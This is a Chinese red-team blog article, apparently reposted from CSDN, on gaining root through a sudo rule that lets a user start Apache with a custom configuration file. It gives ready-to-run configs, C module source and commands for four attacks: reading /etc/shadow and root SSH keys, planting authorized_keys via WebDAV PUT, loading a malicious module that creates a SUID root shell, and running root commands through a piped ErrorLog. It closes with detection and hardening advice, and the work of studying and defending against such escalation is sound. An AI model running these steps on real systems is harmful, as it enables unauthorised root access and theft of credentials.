// 红队渗透 · 2025-07-05

Apache 配置文件提权的实战思考

1. 引言:模块化架构下的隐蔽攻击面

在 Linux 权限维持与红蓝对抗场景中,Web 服务器的误配置往往是本地权限提升(LPE)的核心突破口。作为全球广泛应用的 Web 基础设施,Apache HTTP Server凭借其强大的模块化设计(DSO 机制)和灵活的配置能力,能够深度契合复杂的业务场景。然而,这种高度的灵活性也带来了解析流被劫持的风险。

安全审计人员通常聚焦于防范传统应用层漏洞,却容易忽略一个底层逻辑:提权的本质并不取决于启动命令的表象,而取决于执行 Apache 主进程(Master Process)的实际用户(UID)是谁,以及该进程对配置文件的控制权是否发生了交割。

本文将从进程权限、内存劫持、输入输出重定向等维度,深入剖析 Apache 配置权限滥用的四条高危提权路径,并提供加固防御方案。


2. 背景:Apache 配置控制权交割的潜在风险

与 Nginx 类似,Apache 在启动时需要读取主配置文件(如 httpd.conf 或 apache2.conf)。在标准运维场景中,为了监听 80 或 443 等受保护的特权端口(Linux 内核限制 1024 以下端口默认仅允许 UID 0 进程监听),Apache 主进程必须以 root 身份启动。

当系统管理员在 /etc/sudoers 中进行了如下越权配置:

Matching Defaults entries for mark on guardian:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User mark may run the following commands on guardian:
    (ALL) NOPASSWD: /usr/local/bin/apache2

上述配置意味着普通用户 mark 可以通过 -f 参数加载任意路径下的自定义配置文件。由于 Apache 在解析配置文件的早期阶段完全处于 root 上下文,这赋予了攻击者极大的操作空间,导致操作系统传统边界防御的全面失效。


3. 核心提权路径深层原理与实战重现

3.1 提权路径一:跨越 DAC 限制的任意文件读取

3.1.1 原理深入解析

Linux 自主访问控制(DAC)依靠文件所有者与权限掩码限制低权限用户访问 /etc/shadow 或 /root/.ssh/id_rsa。然而,当 Apache 主进程以 root 身份加载配置时,其内核凭证(Credentials)为 UID=0。

虽然 Apache 在处理实际 Web 请求时会根据配置文件中的 User 和 Group 指令将工作进程(Worker Process)降权为 www-data,但关键点在于:Apache 在初始化阶段打开配置文件、日志文件以及确立 DocumentRoot 时,依然保留了主进程的 root 特权。 攻击者可以通过将 Web 根目录映射为系统根目录,迫使 Apache 成为其读取高价值资产的特权代理。

3.1.2 恶意配置示例 (read.conf)

ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 127.0.0.1:9999

# 显式尝试以最高权限运行工作进程
User root
Group root

# 将整个系统根目录映射为 Web 根目录
DocumentRoot "/"
<Directory "/">
    Require all granted
    Options +Indexes
</Directory>

3.1.3 攻击实施与资产窃取

# 启动恶意配置
sudo /usr/local/bin/apache2 -f /home/mark/read.conf

# 绕过系统 DAC 限制,直接拖取特权凭证
curl http://127.0.0.1:9999/etc/shadow
curl http://127.0.0.1:9999/root/.ssh/id_rsa

3.1.4 技术局限性

即使在此配置下,直接通过 Apache 运行 PHP 或 Bash 脚本也无法直接获得 root shell。因为 Apache 内部具备严格的防防御机制,若检测到 User root,其子进程执行 CGI 或脚本扩展时会自动触发保护性拒绝,或强制降权。因此,此路径主要用于高价值信息泄露与横向移动。


3.2 提权路径二:利用 WebDAV 模块实现任意文件写入与持久化控制

3.2.1 原理深入解析

Apache 的 mod_dav 和 mod_dav_fs 模块实现了基于 HTTP 协议的分布式创作和版本控制。通过激活 WebDAV 的 PUT 方法,Apache 能够将客户端提交的二进制流写入宿主机文件系统。

由于主进程具备系统最高写入权限,如果将 DocumentRoot 指向系统关键资产路径,WebDAV 引擎将直接无视文件系统的写保护,为攻击者提供了一个具备 root 写权限的文件操作通道。

3.2.2 恶意配置示例 (webdav.conf)

# 加载动态共享对象(DSO)模块
LoadModule dav_module /usr/lib/apache2/modules/mod_dav.so
LoadModule dav_fs_module /usr/lib/apache2/modules/mod_dav_fs.so

ServerRoot "/tmp/apache"
PidFile /tmp/apache/httpd.pid
Listen 127.0.0.1:9999

# 将目标路径直接指向 root 用户的认证公钥目录
DocumentRoot "/root/.ssh"
<Directory "/root/.ssh">
    DAV On
    Options Indexes
    Require all granted
</Directory>

3.2.3 攻击实施步骤

# 创建临时运行环境并启动
mkdir -p /tmp/apache
sudo /usr/local/bin/apache2 -f /home/mark/webdav.conf

# 通过 HTTP PUT 方法向 root 的 .ssh 目录直接注入外部攻击者公钥
curl -T /home/mark/id_rsa.pub http://127.0.0.1:9999/authorized_keys

3.2.4 实战衍生利用场景

  1. **覆盖 /etc/sudoers**:直接上传自定义的越权规则文件。
  2. 劫持计划任务:向 /etc/cron.d/ 写入恶意 Cron 脚本,触发定时反弹 Shell。
  3. 后门维持:向 /lib/systemd/system/ 写入恶意的系统服务单元。

3.3 提权路径三:恶意动态共享对象(DSO)模块注入

3.3.1 原理深入解析

Apache 采用了动态共享对象(Dynamic Shared Object, DSO)机制,允许通过 LoadModule 指令在运行时动态加载二进制 .so 模块。其底层核心逻辑同样基于 GNU C 库(glibc)的 dlopen() 与 dlsym()。

与 Nginx 提权类似,只要在 C 语言代码中声明 __attribute__((constructor)) 属性,该函数就会在 Apache 进程完成对该模块 dlopen 的瞬间(此时进程尚未放弃 root 权限,且尚未处理任何 Web 报文)夺取 CPU 执行流。

3.3.2 模块代码编写 (mod_pwn.c)

为了让二进制模块符合 Apache 的结构体规范并成功加载,需要引入 httpd.h 头文件,并声明相应的模块数据结构:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include "httpd.h"
#include "http_config.h"

// 声明 C 构造函数,强制在 dlopen 期间触发
static void __attribute__((constructor)) init_pwn() {
    // 强制同步内核中的实际 UID (RUID) 与有效 UID (EUID)
    // 防止因内核对 SUID 进程的保护导致 system() 降权
    setuid(0); 
    setgid(0);
    
    // 执行特权命令:为普通用户赋予 sudo 执行权限,或直接复制 SUID shell
    system("cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash");
}

// 声明 Apache 模块数据结构,防止 Apache 加载时报符号缺失错误
module AP_MODULE_DECLARE_DATA pwn_module = {
    STANDARD20_MODULE_STUFF,
    NULL, NULL, NULL, NULL, NULL, NULL
};

3.3.3 编译与运行

# 使用 Apache 扩展工具(apxs)本地编译并链接生成 .so 文件
apxs -c mod_pwn.c

# 编写恶意配置语句 (inject.conf)
# LoadModule pwn_module /home/mark/.libs/mod_pwn.so

# 触发启动
sudo /usr/local/bin/apache2 -f /home/mark/inject.conf

# 提权验证
/tmp/rootbash -p

3.4 提权路径四:利用日志管道(Log Piped)实现特权命令执行

3.4.1 原理深入解析

这是 Apache 相对 Nginx 而言独特且极具毁灭性的一项功能。Apache 支持将错误日志(ErrorLog)或访问日志(CustomLog)通过管道符(|)重定向给外部可执行程序或脚本进行异步处理。

当 Apache 解析到诸如 ErrorLog "|/path/to/program" 的配置时,主进程会调用 fork() 创建子进程,并通过 execv() 启动该管道程序,同时通过匿名管道将标准输入(stdin)与 Apache 日志流对接。至关重要的是:这个由主进程 fork 出来的管道程序,其初始运行上下文完全继承了父进程的 Root 身份。

3.4.2 恶意配置示例 (piped.conf)

ServerName localhost
# 引入 MPM 模块以满足基础运行要求
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so

# 核心后门:利用日志管道执行任意 Shell 命令
ErrorLog "|/bin/sh -c 'cp /bin/bash /tmp/rootbash && chmod +xs /tmp/rootbash'"

Listen 127.0.0.1:8080

3.4.3 实施与利用

# 触发 Apache 加载该配置
sudo /usr/local/bin/apache2 -f /home/mark/piped.conf

# 由于 ErrorLog 在启动初期就会被打开并初始化,管道程序立即执行
/tmp/rootbash -p

3.4.4 技术优势

该利用链堪称红队对抗中的“银弹”。它完全不依赖系统底层的 gcc、apxs 等编译链工具,亦不需要向磁盘写入复杂的二进制模块,仅凭 Apache 内置的文件流重定向机制即可瞬间完成从配置劫持到特权命令执行的闭环。


4. 攻击矩阵与风险量化评估

提权路径 核心触发机制 提权时效性 磁盘与内存痕迹 隐蔽度
动态模块注入 (LoadModule) 内核级 dlopen 拦截,触发 C 构造函数 进程加载时瞬时触发 磁盘存留非标准的 .so 文件 中等(易被进程内存映射审计发现)
**日志管道 RCE (`ErrorLog `)** 主进程 fork 后继承特权上下文 进程加载或日志写入时触发 仅存在于配置文件纯文本中
WebDAV 任意写 (PUT) 借助 mod_dav 引擎进行文件流跨目录落地 异步提权(依赖后期触发后门) 文件系统产生直接变更,写日志留痕 较低(极易触发 HIDS 文件完整性告警)
任意文件读取 (DocumentRoot) 改变资产根目录映射,突破系统 DAC 限制 异步信息泄露 产生高频 Web 访问日志与文件句柄 中等(易被本地高位端口扫描感知)

5. 攻防对抗:应急排查与防守方纵深防御加固

5.1 应急排查核心切入点

当防守方判定主机存在通过 Web 服务提权的迹象时,应立即启动针对 Apache 运行时状态的深层审计:

1. 拦截自定义配置文件参数

全面审计系统中运行的 Apache 进程。标准服务启动通常不带 -f 参数(由 systemd 默认管理)。

# 排查是否存在指向普通用户家目录或 /tmp 目录的异常 -f 配置文件加载
ps -ef | grep apache2

2. 运行时动态链接库(DSO)交叉审计

# 提取当前 Apache 进程实时加载的所有 .so 模块,重点排查路径不在 /usr/lib/apache2/modules/ 下的异常动态库
lsof -p $(pgrep -o apache2) | grep '\.so'

3. 管道日志流监控

# 检查 Apache 配置文件中是否包含管道符(|),并核对管道后的可执行程序是否属于合法安全审计工具
grep -rn "ErrorLog" /etc/apache2/
grep -rn "CustomLog" /etc/apache2/

5.2 纵深防御加固方案

5.2.1 实行 Sudo 严格的参数白名单限制

严禁直接在 /etc/sudoers 中开放对 Apache 二进制文件的全局执行权。应显式剥夺 -f 等高危参数的控制权:

# 仅允许普通用户执行状态检查与平滑重启,禁止调用自定义 conf
mark guardian=(root) NOPASSWD: /usr/local/bin/apache2 -t, /usr/local/bin/apache2 -k graceful

5.2.2 强化基础配置文件的 DAC 访问控制

必须切断任何非 root 用户对 Apache 配置目录的写权限。执行以下基线加固:

# 强制收敛目录权限,确保只有 root 能够调整解析链
chown -R root:root /etc/apache2/
find /etc/apache2/ -type d -exec chmod 755 {} \;
find /etc/apache2/ -type f -exec chmod 644 {} \;

5.2.3 强制工作进程权限解耦与内核能力消减

  • 拒绝 User root 运行:严禁在任何生产环境的 httpd.conf 中将 User 指令配置为 root。
  • 利用强制访问控制(MAC)注入沙盒:配置 AppArmor 或 SELinux,对 Apache 进程实施强力沙箱化隔离。即便主进程被劫持并派生了管道程序,MAC 策略也将直接阻断其向 /tmp 写入 SUID 文件、或跨越命名空间修改核心配置的能力。

6. 结论

Apache 的架构设计使其在具备极高可扩展性的同时,也无形中放大了“配置即代码”的攻击面。通过恶意模块注入和日志管道 RCE,攻击者能够将看似普通的配置文件修改权转化为内核级别的特权代码执行流。

在现代企业网络安全治理中,针对复杂应用系统的权限审计不应仅停留在“软件版本是否有已知 CVE”的浅表层面,而必须深入到对进程实际运行 UID、配置加载机制、以及文件系统读写矩阵的交叉纵深审计,方能从根本上消除此类配置权限滥用引发的本地提权隐患。

原文 https://blog.csdn.net/2301_79518550/article/details/149136690